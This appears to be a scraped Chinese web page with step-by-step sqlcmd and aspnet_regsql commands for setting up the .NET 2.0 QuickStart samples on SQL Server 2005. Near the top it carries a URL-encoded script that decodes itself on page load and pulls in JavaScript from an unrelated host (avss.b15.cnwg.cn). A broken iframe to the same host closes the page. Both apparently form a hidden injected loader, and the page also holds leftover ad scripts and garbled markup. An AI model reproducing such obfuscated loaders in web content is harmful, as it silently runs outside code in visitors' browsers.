QUICKSTART2.0&SQLSERVER2005配置说明

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

QUICKSTART2.0&SQLSERVER2005配置说明

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


先决条件：操作系统 windows server 2003 ,已安装VISUAL STUDIO 2005(未选择SQL SERVER EXPRESS的安装) 和 SQL SERVER 2005
1.打开2.0的"快速入门"页面，点击"安装快速入门"
2.选择"不安装SQL SERVER EXPRESS"
3.在命令提示符下进入"SDK/v2.0/samples/setup"文件夹，然后运行下列命令:
sqlcmd -E -S (local) -i InstPubs.sql
sqlcmd -E -S (local) -i InstNwnd.sql
sqlcmd -E -S (local) -i InstGrocer.sql
sqlcmd -E -S (local) -i InstContacts.sql
sqlcmd -E -S (local) -i InstPhotos.sql
sqlcmd -E -S (local) -i Inst_FileSystemSQL.sql
4.在“WINDOWS/Microsoft.NET/Framework/v2.0.50727”文件夹下，运行以下命令，生成"aspnetdb"数据库：
aspnet_regsql.exe -S (local) -E -A all
5.运行以下命令：
sqlcmd -E -S (local) -Q "sp_grantlogin 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d Pubs -Q "sp_grantdbaccess 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d Pubs -Q "sp_addrolemember 'db_owner', 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d NorthWind -Q "sp_grantdbaccess 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d NorthWind -Q "sp_addrolemember 'db_owner', 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d GrocerToGo -Q "sp_grantdbaccess 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d GrocerToGo -Q "sp_addrolemember 'db_owner', 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d Contacts -Q "sp_grantdbaccess 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d Contacts -Q "sp_addrolemember 'db_owner', 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d Photos -Q "sp_grantdbaccess 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d Photos -Q "sp_addrolemember 'db_owner', 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d FileSystemSQL -Q "sp_grantdbaccess 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d FileSystemSQL -Q "sp_addrolemember 'db_owner', 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d ASPNETDB -Q "sp_grantdbaccess 'NT AUTHORITY/NETWORK SERVICE'"
sqlcmd -E -S (local) -d ASPNETDB -Q "sp_addrolemember 'db_owner', 'NT AUTHORITY/NETWORK SERVICE'"
6.将“Program Files/Microsoft Visual Studio 8/SDK/v2.0/QuickStart”文件夹下所有文件中的“/SQLExpress”替换为空。
7.OK。大功告成。 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">